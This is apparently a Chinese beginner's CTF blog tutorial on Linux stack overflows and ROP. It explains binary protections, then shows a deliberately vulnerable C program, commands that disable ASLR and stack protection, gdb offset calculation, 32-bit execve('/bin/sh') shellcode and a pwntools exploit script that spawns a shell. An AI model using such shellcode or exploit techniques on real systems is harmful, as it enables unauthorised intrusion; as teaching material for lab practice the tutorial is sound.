参考地址
http://www.vuln.cn/6644 一步一步学rop x86
http://www.vuln.cn/6645 一步一步学rop x64
https://blog.csdn.net/niexinming/article/details/78814422 Linux下pwn从入门到放弃

0x01 相关概念

PWN

在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。
虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行,传统的缓冲区溢出又一次有了用武之处

ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

gcc的内存保护机制

PWN 小白入门-ShaoBaoBaoEr's Blog
root@ninthdevil:~/ctf_box/pwn# checksec test
[*] '/root/ctf_box/pwn/test'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
  • RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
  • Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
  • NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
  • PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址
  • FORTIFY:FORTIFY_SOURCE机制对格式化字符串有两个限制(1)包含%n的格式化字符串不能位于程序内存中的可写地址。(2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6

0x02 LEVEL0 实例演示

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}
//STDIN_FILENO等是文件描述符,是非负整数,一般定义为0, 1, 2,属于没有buffer的I/O,直接调用系统调用,在<unistd.h>。表示标准输出

编译方案

gcc -fno-stack-protector -z execstack -o level1 level1.c
;这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。

环境配置

sudo echo 0 > /proc/sys/kernel/randomize_va_space

# 打开环境的内存错误数据
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

执行完后我们就关掉整个linux系统的ASLR保护。

PWN 小白入门-ShaoBaoBaoEr's Blog

如你所见,现在这个test0的文件运行在一个极为不安全的环境下了

PWN 过程

生成一串150字节长的字符串让程序崩溃

PWN 小白入门-ShaoBaoBaoEr's Blog
PWN 小白入门-ShaoBaoBaoEr's Blog

有于并没有打开栈溢出保护机制,导致我们能够直接知道内存出错地址0x41416d41

计算PC返回值的覆盖点长度

如何计算PC返回值的覆盖点长度呢?gdb pattern的offset子命令能够计算出pc覆盖点的长度。

输入pattern offset 0x41416d41
得到如下结果
PWN 小白入门-ShaoBaoBaoEr's Blog

通过gdb 的pattern 拓展包,就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。

计算PC返回值

此时我们需要计算的就是PC的返回值
之前我们打开了core.dump的功能,通过gdb读取内存溢出的文件,我们就可以计算出PC的返回值
(在gdb中调试的时候无法检测,因为)返回值不同)

首先我们先让程序崩溃,输入超过150个字节长度的东西即可:
PWN 小白入门-ShaoBaoBaoEr's Blog

core.的输出文件在/tmp下

PWN 小白入门-ShaoBaoBaoEr's Blog

在用gdb ./level0-0 /tmp/core.xxxxxxxx打开可以看到core文件被正常解析了
已知 溢出点是140个字节,ret地址4个字节,那就是144个字节。
因此 buffer的地址是 $esp - 144
利用命令 x/10s $esp - 144可以计算出buf的地址
至此,我们算出了buf的地址就是0xbfff600,也就是PC的返回值

PWN 小白入门-ShaoBaoBaoEr's Blog

注入ShellCode

我看别人的wp,了解到了如下代码。(32位Linux)
Linux指令execve ("/bin/sh")应该写成如下形式:

# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

利用python的pwntools模块,就能够getshell了

from pwn import *

p = process('./level0-0') 
ret = 0xbffff610

shellcode = asm('''
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f   ;; hs//
push 0x6e69622f   ;; nib/
mov ebx, esp
mov al, 11
int 0x80
''')

payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive()  #开启交互shell

如果不行,可以访问一下/proc/sys/kernel/core_pattern
运行exp.py,查看/home/flag.txt

PWN 小白入门-ShaoBaoBaoEr's Blog